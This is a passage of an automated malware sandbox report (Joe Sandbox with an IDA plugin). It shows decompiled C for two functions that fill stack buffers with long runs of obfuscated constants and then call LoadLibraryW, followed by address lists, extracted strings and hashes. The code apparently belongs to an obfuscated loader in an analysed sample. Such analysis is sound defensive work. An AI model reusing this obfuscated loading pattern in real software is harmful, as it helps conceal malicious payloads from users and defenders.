				 *((intOrPtr*)(_t459 - 0x7c)) = 0x82d4147d;
				 *((intOrPtr*)(_t459 - 0x78)) = 0xfea3aac6;
				 *((intOrPtr*)(_t459 - 0x74)) = 0xb3b10983;
				 *((intOrPtr*)(_t459 - 0x70)) = 0x35b1c364;
				 *((intOrPtr*)(_t459 - 0x6c)) = 0x47e0241c;
				 *((intOrPtr*)(_t459 - 0x68)) = 0xbd78707a;
				 *((intOrPtr*)(_t459 - 0x64)) = 0x11db37a1;
				 *((intOrPtr*)(_t459 - 0x60)) = 0x4461117a;
				 *((intOrPtr*)(_t459 - 0x5c)) = 0xf9c0a3f5;
				 *((intOrPtr*)(_t459 - 0x58)) = 0xe872faba;
				 *((intOrPtr*)(_t459 - 0x54)) = 0x64565f91;
				 *((intOrPtr*)(_t459 - 0x50)) = 0x618168c9;
				 *((intOrPtr*)(_t459 - 0x4c)) = 0xe712f78;
				 *((intOrPtr*)(_t459 - 0x48)) = 0x9674eb60;
				 *((intOrPtr*)(_t459 - 0x44)) = 0xdd4bf85d;
				 *((intOrPtr*)(_t459 - 0x40)) = 0x2ecf96f5;
				 *((intOrPtr*)(_t459 - 0x3c)) = 0x159080f0;
				 *((intOrPtr*)(_t459 - 0x38)) = 0x3c394030;
				 *((intOrPtr*)(_t459 - 0x34)) = 0xdbc6535c;
				 *((intOrPtr*)(_t459 - 0x30)) = 0x4316b4b0;
				 *((intOrPtr*)(_t459 - 0x2c)) = 0x4473ddfa;
				 *((intOrPtr*)(_t459 - 0x28)) = 0x3e75bff1;
				 *((intOrPtr*)(_t459 - 0x24)) = 0xf69d509a;
				 *((intOrPtr*)(_t459 - 0x20)) = 0x88a55e29;
				 *((intOrPtr*)(_t459 - 0x1c)) = 0x4b723696;
				 *((intOrPtr*)(_t459 - 0x18)) = 0xaa1e64e6;
				 *((intOrPtr*)(_t459 - 0x14)) = 0xbe8c107d;
				 *((intOrPtr*)(_t459 - 0x10)) = 0x47efc3ac;
				 *((intOrPtr*)(_t459 - 0xc)) = 0x2afe3fcf;
				 *((intOrPtr*)(_t459 - 8)) = 0x3af3c941;
				 *((intOrPtr*)(_t459 - 4)) = 0xcae7ee49;
				_t457 = L00311D10(0x320650, 0x9c, __edi, __esi);
				 *0x324c8c = LoadLibraryW(_t445);
				L00311DB0(_t457);
				return E00311570(_t449,  *0x324c8c, _t459 - 0x6ec, _t457, 0x1bb, 0x5a53741d, 0x3233b0);
			}

0x00317eda
0x00317eda
0x00317ee4
0x00317eee
0x00317ef8
0x00317f02
0x00317f0c
0x00317f16
0x00317f20
0x00317f2a
0x00317f34
0x00317f3e
0x00317f48
0x00317f52
0x00317f5c
0x00317f66
0x00317f70
0x00317f7a
0x00317f84
0x00317f8e
0x00317f98
0x00317fa2
0x00317fac
0x00317fb6
0x00317fc0
0x00317fca
0x00317fd4
0x00317fde
0x00317fe8
0x00317ff2
0x00317ffc
0x00318006
0x00318010
0x0031801a
0x00318024
0x0031802e
0x00318038
0x00318042
0x0031804c
0x00318056
0x00318060
0x0031806a
0x00318074
0x0031807e
0x00318088
0x00318092
0x0031809c
0x003180a6
0x003180b0
0x003180ba
0x003180c4
0x003180ce
0x003180d8
0x003180e2
0x003180ec
0x003180f6
0x00318100
0x0031810a
0x00318114
0x0031811e
0x00318128
0x00318132
0x0031813c
0x00318146
0x00318150
0x0031815a
0x00318164
0x0031816e
0x00318178
0x00318182
0x0031818c
0x00318196
0x003181a0
0x003181aa
0x003181b4
0x003181be
0x003181c8
0x003181d2
0x003181dc
0x003181e6
0x003181f0
0x003181fa
0x00318204
0x0031820e
0x00318218
0x00318222
0x0031822c
0x00318236
0x00318240
0x0031824a
0x00318254
0x0031825e
0x00318268
0x00318272
0x0031827c
0x00318286
0x00318290
0x0031829a
0x003182a4
0x003182ae
0x003182b8
0x003182c2
0x003182cc
0x003182d6
0x003182e0
0x003182ea
0x003182f4
0x003182fe
0x00318308
0x00318312
0x0031831c
0x00318326
0x00318330
0x0031833a
0x00318344
0x0031834e
0x00318358
0x00318362
0x0031836c
0x00318376
0x00318380
0x0031838a
0x00318394
0x0031839e
0x003183a8
0x003183b2
0x003183bc
0x003183c6
0x003183d0
0x003183da
0x003183e4
0x003183ee
0x003183f8
0x00318402
0x0031840c
0x00318416
0x00318420
0x0031842a
0x00318434
0x0031843e
0x00318448
0x00318452
0x0031845c
0x00318466
0x00318470
0x0031847a
0x00318484
0x0031848e
0x00318498
0x003184a2
0x003184ac
0x003184b6
0x003184c0
0x003184ca
0x003184d4
0x003184de
0x003184e8
0x003184f2
0x003184fc
0x00318506
0x00318510
0x0031851a
0x00318524
0x0031852e
0x00318538
0x00318542
0x0031854c
0x00318556
0x00318560
0x0031856a
0x00318574
0x0031857e
0x00318588
0x00318592
0x0031859c
0x003185a6
0x003185b0
0x003185ba
0x003185c4
0x003185ce
0x003185d8
0x003185e2
0x003185ec
0x003185f6
0x00318600
0x0031860a
0x00318614
0x0031861e
0x00318628
0x00318632
0x0031863c
0x00318646
0x00318650
0x0031865a
0x00318664
0x0031866e
0x00318678
0x00318682
0x0031868c
0x00318696
0x003186a0
0x003186aa
0x003186b4
0x003186be
0x003186c8
0x003186d2
0x003186dc
0x003186e6
0x003186f0
0x003186fa
0x00318704
0x0031870e
0x00318718
0x00318722
0x0031872c
0x00318736
0x00318740
0x0031874a
0x00318754
0x0031875e
0x00318768
0x00318772
0x0031877c
0x00318786
0x00318790
0x0031879a
0x003187a4
0x003187ae
0x003187b8
0x003187c2
0x003187cc
0x003187d6
0x003187e0
0x003187ea
0x003187f4
0x003187fe
0x00318808
0x00318812
0x0031881c
0x00318826
0x00318830
0x0031883a
0x00318844
0x0031884e
0x00318858
0x00318862
0x0031886c
0x00318876
0x00318880
0x0031888a
0x00318894
0x0031889e
0x003188a8
0x003188b2
0x003188bc
0x003188c6
0x003188d0
0x003188da
0x003188e4
0x003188ee
0x003188f8
0x00318902
0x0031890c
0x00318916
0x00318920
0x0031892a
0x00318934
0x0031893e
0x00318948
0x00318952
0x0031895c
0x00318966
0x00318970
0x0031897a
0x00318984
0x0031898e
0x00318998
0x003189a2
0x003189ac
0x003189b6
0x003189c0
0x003189ca
0x003189d4
0x003189de
0x003189e8
0x003189f2
0x003189fc
0x00318a06
0x00318a10
0x00318a1a
0x00318a24
0x00318a2e
0x00318a38
0x00318a42
0x00318a4c
0x00318a56
0x00318a60
0x00318a6a
0x00318a74
0x00318a7e
0x00318a88
0x00318a92
0x00318a9c
0x00318aa6
0x00318ab0
0x00318aba
0x00318ac4
0x00318ace
0x00318ad8
0x00318ae2
0x00318aec
0x00318af6
0x00318b00
0x00318b0a
0x00318b14
0x00318b1e
0x00318b28
0x00318b32
0x00318b3c
0x00318b46
0x00318b50
0x00318b5a
0x00318b64
0x00318b6e
0x00318b78
0x00318b82
0x00318b8c
0x00318b96
0x00318ba0
0x00318baa
0x00318bb4
0x00318bbe
0x00318bc8
0x00318bd2
0x00318bdc
0x00318be6
0x00318bf0
0x00318bfa
0x00318c04
0x00318c0e
0x00318c18
0x00318c22
0x00318c2c
0x00318c36
0x00318c40
0x00318c4a
0x00318c54
0x00318c5e
0x00318c68
0x00318c72
0x00318c7c
0x00318c86
0x00318c90
0x00318c9a
0x00318ca4
0x00318cae
0x00318cb8
0x00318cc2
0x00318ccc
0x00318cd6
0x00318ce0
0x00318cea
0x00318cf4
0x00318cfe
0x00318d08
0x00318d12
0x00318d1c
0x00318d26
0x00318d30
0x00318d3a
0x00318d44
0x00318d4e
0x00318d58
0x00318d62
0x00318d6c
0x00318d76
0x00318d80
0x00318d8a
0x00318d94
0x00318d9e
0x00318da8
0x00318db2
0x00318dbc
0x00318dc6
0x00318dd0
0x00318dda
0x00318de4
0x00318dee
0x00318df8
0x00318e02
0x00318e0c
0x00318e16
0x00318e20
0x00318e2a
0x00318e34
0x00318e3e
0x00318e48
0x00318e52
0x00318e5c
0x00318e66
0x00318e70
0x00318e7a
0x00318e84
0x00318e8e
0x00318e98
0x00318ea2
0x00318eac
0x00318ebb
0x00318ec5
0x00318ecf
0x00318ed9
0x00318ee3
0x00318eed
0x00318ef7
0x00318efe
0x00318f05
0x00318f0c
0x00318f13
0x00318f1a
0x00318f21
0x00318f28
0x00318f2f
0x00318f36
0x00318f3d
0x00318f44
0x00318f4b
0x00318f52
0x00318f59
0x00318f60
0x00318f67
0x00318f6e
0x00318f75
0x00318f7c
0x00318f83
0x00318f8a
0x00318f91
0x00318f98
0x00318f9f
0x00318fa6
0x00318fad
0x00318fb4
0x00318fbb
0x00318fc2
0x00318fc9
0x00318fd0
0x00318fdf
0x00318fea
0x00318fef
0x0031901b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 00318FE2

Strings

-aLg, xrefs: 003187A4
)Tu', xrefs: 0031802E
$sV, xrefs: 0031813C
G/XC, xrefs: 0031898E
7DM, xrefs: 003184A2
+3/8, xrefs: 00318740
,wo, xrefs: 003182F4
dIFQ, xrefs: 00318006
,5, xrefs: 00318236
HV}4, xrefs: 003184FC
dqt, xrefs: 00318128
0@9<, xrefs: 00318F75
K~jN, xrefs: 0031888A
EboJ, xrefs: 003187FE
gcs, xrefs: 003183DA
22;:, xrefs: 003182AE
V),, xrefs: 00318E20
%&Tv, xrefs: 00318BD2
qbAd, xrefs: 00317F84
g*]>, xrefs: 003183A8
*Y<, xrefs: 003187E0
+, xrefs: 00318BC8
TE-C, xrefs: 00318C72
=S5, xrefs: 00317F02

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: $sV$%&Tv$)Tu'$+$+3/8$,wo$-aLg$0@9<$22;:$7DM$=S5$EboJ$G/XC$HV}4$K~jN$TE-C$V),$dIFQ$dqt$g*]>$qbAd$*Y<$,5$gcs
API String ID: 1029625771-3472361963
Opcode ID: 2b0046c095b412bfe44b89779e3f4ceec159ebf361c19a672229f1862b7316c5
Instruction ID: b5857da092bcb3832454ba30b9edfdc021237c346b1e0a0930922a19a080da07
Opcode Fuzzy Hash: 2b0046c095b412bfe44b89779e3f4ceec159ebf361c19a672229f1862b7316c5
Instruction Fuzzy Hash: FF82B5F48167A88FDB618F429E857CEBA35BB51344F5096C8D25D3A214CB760BC2CF89

Uniqueness

Uniqueness Score: 100.00%

Function 0031902A, Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 225
libraryUNIQUE

C-Code - Quality: 99%

			E0031902A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t209;
				void* _t219;

				_t209 = __ebx;
				 *((intOrPtr*)(_t219 - 0x32c)) = 0x7fbd219b;
				 *((intOrPtr*)(_t219 - 0x328)) = 0xa2efafa1;
				 *((intOrPtr*)(_t219 - 0x324)) = 0xe80e0f4c;
				 *((intOrPtr*)(_t219 - 0x320)) = 0x80f9ec3b;
				 *((intOrPtr*)(_t219 - 0x31c)) = 0x8e1d8781;
				 *((intOrPtr*)(_t219 - 0x318)) = 0x6261bb12;
				 *((intOrPtr*)(_t219 - 0x314)) = 0xffe71370;
				 *((intOrPtr*)(_t219 - 0x310)) = 0x7e4cc287;
				 *((intOrPtr*)(_t219 - 0x30c)) = 0x8a645edd;
				 *((intOrPtr*)(_t219 - 0x308)) = 0x588a73b6;
				 *((intOrPtr*)(_t219 - 0x304)) = 0x57aa5c54;
				 *((intOrPtr*)(_t219 - 0x300)) = 0xefd12e15;
				 *((intOrPtr*)(_t219 - 0x2fc)) = 0x1f212018;
				 *((intOrPtr*)(_t219 - 0x2f8)) = 0x8884ba6b;
				 *((intOrPtr*)(_t219 - 0x2f4)) = 0x669e1b3c;
				 *((intOrPtr*)(_t219 - 0x2f0)) = 0x354ae040;
				 *((intOrPtr*)(_t219 - 0x2ec)) = 0xc4f5d2c8;
				 *((intOrPtr*)(_t219 - 0x2e8)) = 0x10bee786;
				 *((intOrPtr*)(_t219 - 0x2e4)) = 0xeea8862e;
				 *((intOrPtr*)(_t219 - 0x2e0)) = 0x6bcdb172;
				 *((intOrPtr*)(_t219 - 0x2dc)) = 0xb5e6de05;
				 *((intOrPtr*)(_t219 - 0x2d8)) = 0xf0896307;
				 *((intOrPtr*)(_t219 - 0x2d4)) = 0xeb5229a2;
				 *((intOrPtr*)(_t219 - 0x2d0)) = 0x2b6d69b;
				 *((intOrPtr*)(_t219 - 0x2cc)) = 0x58beccc5;
				 *((intOrPtr*)(_t219 - 0x2c8)) = 0x35274529;
				 *((intOrPtr*)(_t219 - 0x2c4)) = 0x15753c3f;
				 *((intOrPtr*)(_t219 - 0x2c0)) = 0x9c18b986;
				 *((intOrPtr*)(_t219 - 0x2bc)) = 0x2201f5eb;
				 *((intOrPtr*)(_t219 - 0x2b8)) = 0x19713ab5;
				 *((intOrPtr*)(_t219 - 0x2b4)) = 0xb1c3168c;
				 *((intOrPtr*)(_t219 - 0x2b0)) = 0xf66bd0e9;
				 *((intOrPtr*)(_t219 - 0x2ac)) = 0x466959fa;
				 *((intOrPtr*)(_t219 - 0x2a8)) = 0xfcde918c;
				 *((intOrPtr*)(_t219 - 0x2a4)) = 0x714e0189;
				 *((intOrPtr*)(_t219 - 0x2a0)) = 0xf7ae070;
				 *((intOrPtr*)(_t219 - 0x29c)) = 0xd5bf4fe0;
				 *((intOrPtr*)(_t219 - 0x298)) = 0xa6b9c782;
				 *((intOrPtr*)(_t219 - 0x294)) = 0x8a555e4a;
				 *((intOrPtr*)(_t219 - 0x290)) = 0xb37719ce;
				 *((intOrPtr*)(_t219 - 0x28c)) = 0x578e021d;
				 *((intOrPtr*)(_t219 - 0x288)) = 0x70f1e354;
				 *((intOrPtr*)(_t219 - 0x284)) = 0xae470c52;
				 *((intOrPtr*)(_t219 - 0x280)) = 0x4085a5f5;
				 *((intOrPtr*)(_t219 - 0x27c)) = 0x2ba05970;
				 *((intOrPtr*)(_t219 - 0x278)) = 0xd8be2289;
				 *((intOrPtr*)(_t219 - 0x274)) = 0xc0b6aa2;
				 *((intOrPtr*)(_t219 - 0x270)) = 0xd3bd5838;
				 *((intOrPtr*)(_t219 - 0x26c)) = 0x316b6de7;
				 *((intOrPtr*)(_t219 - 0x268)) = 0xb5002781;
				 *((intOrPtr*)(_t219 - 0x264)) = 0x3aa9b064;
				 *((intOrPtr*)(_t219 - 0x260)) = 0x56fd49b7;
				 *((intOrPtr*)(_t219 - 0x25c)) = 0x1715f313;
				 *((intOrPtr*)(_t219 - 0x258)) = 0x713d7bcb;
				 *((intOrPtr*)(_t219 - 0x254)) = 0x30c933c5;
				 *((intOrPtr*)(_t219 - 0x250)) = 0xcc3ce868;
				 *((intOrPtr*)(_t219 - 0x24c)) = 0xdef80b51;
				 *((intOrPtr*)(_t219 - 0x248)) = 0x1cb482f0;
				 *((intOrPtr*)(_t219 - 0x244)) = 0xb75f074;
				 *((intOrPtr*)(_t219 - 0x240)) = 0xb012317e;
				 *((intOrPtr*)(_t219 - 0x23c)) = 0xde835a96;
				 *((intOrPtr*)(_t219 - 0x238)) = 0x94343df8;
				 *((intOrPtr*)(_t219 - 0x234)) = 0xb367eeeb;
				 *((intOrPtr*)(_t219 - 0x230)) = 0x750a07ee;
				 *((intOrPtr*)(_t219 - 0x22c)) = 0xd830a629;
				 *((intOrPtr*)(_t219 - 0x228)) = 0xac831739;
				 *((intOrPtr*)(_t219 - 0x224)) = 0x6e5fdc60;
				 *((intOrPtr*)(_t219 - 0x220)) = 0x124c3112;
				 *((intOrPtr*)(_t219 - 0x21c)) = 0x212cd402;
				 *((intOrPtr*)(_t219 - 0x218)) = 0x6e12da54;
				 *((intOrPtr*)(_t219 - 0x214)) = 0xd1435837;
				 *((intOrPtr*)(_t219 - 0x210)) = 0xaa26ab84;
				 *((intOrPtr*)(_t219 - 0x20c)) = 0x90b20834;
				 *((intOrPtr*)(_t219 - 0x208)) = 0xd17da45b;
				 *((intOrPtr*)(_t219 - 0x204)) = 0xfdf40c0d;
				 *((intOrPtr*)(_t219 - 0x200)) = 0x32db272e;
				 *((intOrPtr*)(_t219 - 0x1fc)) = 0xb16b2126;
				 *((intOrPtr*)(_t219 - 0x1f8)) = 0x13bcc1e5;
				 *((intOrPtr*)(_t219 - 0x1f4)) = 0x47d24300;
				 *((intOrPtr*)(_t219 - 0x1f0)) = 0xa0b0c2b9;
				 *((intOrPtr*)(_t219 - 0x1ec)) = 0x5b0d9e2e;
				 *((intOrPtr*)(_t219 - 0x1e8)) = 0x32becc23;
				 *((intOrPtr*)(_t219 - 0x1e4)) = 0x3f193493;
				 *((intOrPtr*)(_t219 - 0x1e0)) = 0xa2670868;
				 *((intOrPtr*)(_t219 - 0x1dc)) = 0x7eb062fc;
				 *((intOrPtr*)(_t219 - 0x1d8)) = 0x5ad55ddb;
				 *((intOrPtr*)(_t219 - 0x1d4)) = 0x5c9b533a;
				 *((intOrPtr*)(_t219 - 0x1d0)) = 0xbe4dc9ab;
				 *((intOrPtr*)(_t219 - 0x1cc)) = 0xc27ae1cf;
				 *((intOrPtr*)(_t219 - 0x1c8)) = 0x5bb1bf3c;
				 *((intOrPtr*)(_t219 - 0x1c4)) = 0x41464acd;
				 *((intOrPtr*)(_t219 - 0x1c0)) = 0x9a088a35;
				 *((intOrPtr*)(_t219 - 0x1bc)) = 0x996bda46;
				 *((intOrPtr*)(_t219 - 0x1b8)) = 0x3a559602;
				 *((intOrPtr*)(_t219 - 0x1b4)) = 0x4aa0f9d9;
				 *((intOrPtr*)(_t219 - 0x1b0)) = 0xf109c812;
				 *((intOrPtr*)(_t219 - 0x1ac)) = 0xb258589c;
				 *((intOrPtr*)(_t219 - 0x1a8)) = 0xf06a256f;
				 *((intOrPtr*)(_t219 - 0x1a4)) = 0xe5530535;
				 *((intOrPtr*)(_t219 - 0x1a0)) = 0x54f6c946;
				 *((intOrPtr*)(_t219 - 0x19c)) = 0x1ae47807;
				 *((intOrPtr*)(_t219 - 0x198)) = 0x7398483;
				 *((intOrPtr*)(_t219 - 0x194)) = 0x5f679ef8;
				 *((intOrPtr*)(_t219 - 0x190)) = 0xa231eaab;
				 *((intOrPtr*)(_t219 - 0x18c)) = 0x7e7a355e;
				 *((intOrPtr*)(_t219 - 0x188)) = 0x34e54a43;
				 *((intOrPtr*)(_t219 - 0x184)) = 0xbf413261;
				 *((intOrPtr*)(_t219 - 0x180)) = 0xc55b4bbd;
				 *((intOrPtr*)(_t219 - 0x17c)) = 0xdbccb5eb;
				 *((intOrPtr*)(_t219 - 0x178)) = 0x88dc8eec;
				 *((intOrPtr*)(_t219 - 0x174)) = 0x5b47b2d3;
				 *((intOrPtr*)(_t219 - 0x170)) = 0xff3689c;
				 *((intOrPtr*)(_t219 - 0x16c)) = 0x86c474b4;
				 *((intOrPtr*)(_t219 - 0x168)) = 0xa31e6d78;
				 *((intOrPtr*)(_t219 - 0x164)) = 0xf29d0511;
				 *((intOrPtr*)(_t219 - 0x160)) = 0xb17b3be;
				 *((intOrPtr*)(_t219 - 0x15c)) = 0x919acea5;
				 *((intOrPtr*)(_t219 - 0x158)) = 0xf86356aa;
				 *((intOrPtr*)(_t219 - 0x154)) = 0x52bb78cf;
				 *((intOrPtr*)(_t219 - 0x150)) = 0x3c04ab99;
				 *((intOrPtr*)(_t219 - 0x14c)) = 0x389059d2;
				 *((intOrPtr*)(_t219 - 0x148)) = 0x2d1ae5a3;
				 *((intOrPtr*)(_t219 - 0x144)) = 0x6bcf7eaa;
				 *((intOrPtr*)(_t219 - 0x140)) = 0xb406abeb;
				 *((intOrPtr*)(_t219 - 0x13c)) = 0x5c174f02;
				 *((intOrPtr*)(_t219 - 0x138)) = 0x771e2f46;
				 *((intOrPtr*)(_t219 - 0x134)) = 0x7ad6da9a;
				 *((intOrPtr*)(_t219 - 0x130)) = 0xc025ce9d;
				 *((intOrPtr*)(_t219 - 0x12c)) = 0x88eaaa22;
				 *((intOrPtr*)(_t219 - 0x128)) = 0xd362b468;
				 *((intOrPtr*)(_t219 - 0x124)) = 0x8a41db48;
				 *((intOrPtr*)(_t219 - 0x120)) = 0x5669a365;
				 *((intOrPtr*)(_t219 - 0x11c)) = 0x70a6196;
				 *((intOrPtr*)(_t219 - 0x118)) = 0xa24aa49b;
				 *((intOrPtr*)(_t219 - 0x114)) = 0x6dbf05c0;
				 *((intOrPtr*)(_t219 - 0x110)) = 0xcbe93580;
				 *((intOrPtr*)(_t219 - 0x10c)) = 0xd357b271;
				 *((intOrPtr*)(_t219 - 0x108)) = 0xd2ea199a;
				 *((intOrPtr*)(_t219 - 0x104)) = 0xf534a00d;
				 *((intOrPtr*)(_t219 - 0x100)) = 0x63c4b191;
				 *((intOrPtr*)(_t219 - 0xfc)) = 0x546fbd97;
				 *((intOrPtr*)(_t219 - 0xf8)) = 0x286142e7;
				 *((intOrPtr*)(_t219 - 0xf4)) = 0x69bbd620;
				 *((intOrPtr*)(_t219 - 0xf0)) = 0x2b120040;
				 *((intOrPtr*)(_t219 - 0xec)) = 0xc39cbd26;
				 *((intOrPtr*)(_t219 - 0xe8)) = 0xd9b7b159;
				 *((intOrPtr*)(_t219 - 0xe4)) = 0xb96f0dab;
				 *((intOrPtr*)(_t219 - 0xe0)) = 0xa38c23f3;
				 *((intOrPtr*)(_t219 - 0xdc)) = 0xd520c6f6;
				 *((intOrPtr*)(_t219 - 0xd8)) = 0xd8155d0f;
				 *((intOrPtr*)(_t219 - 0xd4)) = 0x2643375;
				 *((intOrPtr*)(_t219 - 0xd0)) = 0xbf52a948;
				 *((intOrPtr*)(_t219 - 0xcc)) = 0xa261a5fa;
				 *((intOrPtr*)(_t219 - 0xc8)) = 0x53d3e771;
				 *((intOrPtr*)(_t219 - 0xc4)) = 0x2fd537db;
				 *((intOrPtr*)(_t219 - 0xc0)) = 0xce3fa065;
				 *((intOrPtr*)(_t219 - 0xbc)) = 0x20058305;
				 *((intOrPtr*)(_t219 - 0xb8)) = 0x32f139;
				 *((intOrPtr*)(_t219 - 0xb4)) = 0x44e4236d;
				 *((intOrPtr*)(_t219 - 0xb0)) = 0x9254ab0f;
				 *((intOrPtr*)(_t219 - 0xac)) = 0x4f26c3f5;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t219 - 0xa8)) = 0x154b3386;
				 *((intOrPtr*)(_t219 - 0xa4)) = 0x99d1912b;
				 *((intOrPtr*)(_t219 - 0xa0)) = 0xa71eb4d;
				 *((intOrPtr*)(_t219 - 0x9c)) = 0xb62e1883;
				 *((intOrPtr*)(_t219 - 0x98)) = 0x18c31c18;
				 *((intOrPtr*)(_t219 - 0x94)) = 0x3d03d608;
				 *((intOrPtr*)(_t219 - 0x90)) = 0xafd39ba5;
				 *((intOrPtr*)(_t219 - 0x8c)) = 0x7d9da429;
				 *((intOrPtr*)(_t219 - 0x88)) = 0x4e76c485;
				 *((intOrPtr*)(_t219 - 0x84)) = 0x91c1d596;
				 *((intOrPtr*)(_t219 - 0x80)) = 0xcb3120a9;
				 *((intOrPtr*)(_t219 - 0x7c)) = 0xa105f41;
				 *((intOrPtr*)(_t219 - 0x78)) = 0xa8708e62;
				 *((intOrPtr*)(_t219 - 0x74)) = 0x1df00a02;
				 *((intOrPtr*)(_t219 - 0x70)) = 0xea6037a7;
				 *((intOrPtr*)(_t219 - 0x6c)) = 0x61d15294;
				 *((intOrPtr*)(_t219 - 0x68)) = 0x24f14a40;
				 *((intOrPtr*)(_t219 - 0x64)) = 0xff266bfc;
				 *((intOrPtr*)(_t219 - 0x60)) = 0x355310fd;
				 *((intOrPtr*)(_t219 - 0x5c)) = 0xc9441fea;
				 *((intOrPtr*)(_t219 - 0x58)) = 0xcada8584;
				 *((intOrPtr*)(_t219 - 0x54)) = 0x78312f37;
				 *((intOrPtr*)(_t219 - 0x50)) = 0xc3586c2c;
				 *((intOrPtr*)(_t219 - 0x4c)) = 0x8a518e36;
				 *((intOrPtr*)(_t219 - 0x48)) = 0xea973514;
				 *((intOrPtr*)(_t219 - 0x44)) = 0xf8cf530e;
				 *((intOrPtr*)(_t219 - 0x40)) = 0xc7be2918;
				 *((intOrPtr*)(_t219 - 0x3c)) = 0x208e4c28;
				 *((intOrPtr*)(_t219 - 0x38)) = 0x89cc77a3;
				 *((intOrPtr*)(_t219 - 0x34)) = 0xbb48c624;
				 *((intOrPtr*)(_t219 - 0x30)) = 0x494b7ba8;
				 *((intOrPtr*)(_t219 - 0x2c)) = 0xe681a771;
				 *((intOrPtr*)(_t219 - 0x28)) = 0xd0e3a5cf;
				 *((intOrPtr*)(_t219 - 0x24)) = 0x1e9b134d;
				 *((intOrPtr*)(_t219 - 0x20)) = 0x27ce49be;
				 *((intOrPtr*)(_t219 - 0x1c)) = 0x3b6b481a;
				 *((intOrPtr*)(_t219 - 0x18)) = 0x8b7204b8;
				 *((intOrPtr*)(_t219 - 0x14)) = 0xed62631a;
				 *((intOrPtr*)(_t219 - 0x10)) = 0xf72fea24;
				 *((intOrPtr*)(_t219 - 0xc)) = 0xac97cf4;
				 *((intOrPtr*)(_t219 - 8)) = 0xdf5ea3ed;
				 *((intOrPtr*)(_t219 - 4)) = 0x4071947f;
				_t217 = L00311D10(0x320ed0, 0x44, __edi, __esi);
				 *0x324c90 = LoadLibraryW(_t205);
				L00311DB0(_t217);
				return E00311570(_t209,  *0x324c90, _t219 - 0x32c, _t217, 0xcb, 0x63b87d7a, 0x322d60);
			}

0x0031902a
0x0031902a
0x00319034
0x0031903e
0x00319048
0x00319052
0x0031905c
0x00319066
0x00319070
0x0031907a
0x00319084
0x0031908e
0x00319098
0x003190a2
0x003190ac
0x003190b6
0x003190c0
0x003190ca
0x003190d4
0x003190de
0x003190e8
0x003190f2
0x003190fc
0x00319106
0x00319110
0x0031911a
0x00319124
0x0031912e
0x00319138
0x00319142
0x0031914c
0x00319156
0x00319160
0x0031916a
0x00319174
0x0031917e
0x00319188
0x00319192
0x0031919c
0x003191a6
0x003191b0
0x003191ba
0x003191c4
0x003191ce
0x003191d8
0x003191e2
0x003191ec
0x003191f6
0x00319200
0x0031920a
0x00319214
0x0031921e
0x00319228
0x00319232
0x0031923c
0x00319246
0x00319250
0x0031925a
0x00319264
0x0031926e
0x00319278
0x00319282
0x0031928c
0x00319296
0x003192a0
0x003192aa
0x003192b4
0x003192be
0x003192c8
0x003192d2
0x003192dc
0x003192e6
0x003192f0
0x003192fa
0x00319304
0x0031930e
0x00319318
0x00319322
0x0031932c
0x00319336
0x00319340
0x0031934a
0x00319354
0x0031935e
0x00319368
0x00319372
0x0031937c
0x00319386
0x00319390
0x0031939a
0x003193a4
0x003193ae
0x003193b8
0x003193c2
0x003193cc
0x003193d6
0x003193e0
0x003193ea
0x003193f4
0x003193fe
0x00319408
0x00319412
0x0031941c
0x00319426
0x00319430
0x0031943a
0x00319444
0x0031944e
0x00319458
0x00319462
0x0031946c
0x00319476
0x00319480
0x0031948a
0x00319494
0x0031949e
0x003194a8
0x003194b2
0x003194bc
0x003194c6
0x003194d0
0x003194da
0x003194e4
0x003194ee
0x003194f8
0x00319502
0x0031950c
0x00319516
0x00319520
0x0031952a
0x00319534
0x0031953e
0x00319548
0x00319552
0x0031955c
0x00319566
0x00319570
0x0031957a
0x00319584
0x0031958e
0x00319598
0x003195a2
0x003195ac
0x003195b6
0x003195c0
0x003195ca
0x003195d4
0x003195de
0x003195e8
0x003195f2
0x003195fc
0x00319606
0x00319610
0x0031961a
0x00319624
0x0031962e
0x00319638
0x00319642
0x0031964c
0x00319656
0x00319660
0x0031966a
0x00319674
0x0031967e
0x0031968d
0x00319697
0x003196a1
0x003196ab
0x003196b5
0x003196bf
0x003196c9
0x003196d3
0x003196dd
0x003196e7
0x003196ee
0x003196f5
0x003196fc
0x00319703
0x0031970a
0x00319711
0x00319718
0x0031971f
0x00319726
0x0031972d
0x00319734
0x0031973b
0x00319742
0x00319749
0x00319750
0x00319757
0x0031975e
0x00319765
0x0031976c
0x00319773
0x0031977a
0x00319781
0x00319788
0x0031978f
0x00319796
0x0031979d
0x003197a4
0x003197ab
0x003197b2
0x003197b9
0x003197c0
0x003197cf
0x003197da
0x003197df
0x0031980b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 003197D2

Strings

mk1, xrefs: 0031920A
@, xrefs: 003195C0
^5z~, xrefs: 0031943A
Ba(, xrefs: 003195AC
CJ4, xrefs: 00319444
7/1x, xrefs: 00319734
)E'5, xrefs: 00319124
@J5, xrefs: 003190C0
Mq, xrefs: 00319697
m#D, xrefs: 00319656

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: )E'5$7/1x$@$@J5$CJ4$Mq$^5z~$m#D$Ba($mk1
API String ID: 1029625771-1881183590
Opcode ID: f6c64951599fed93faed72883f97d8af5e2077879275367e145e78104e296256
Instruction ID: d2f1f0b2197f3c43ddff5da50ff6d29e4c5a165e6377ae203a78f0ce8814a889
Opcode Fuzzy Hash: f6c64951599fed93faed72883f97d8af5e2077879275367e145e78104e296256
Instruction Fuzzy Hash: 0E02A9B4C46369CBDB61DF85AA897CDBB70BB12304F6086C9C1593B215CB750A86CF85

Uniqueness

Uniqueness Score: 100.00%

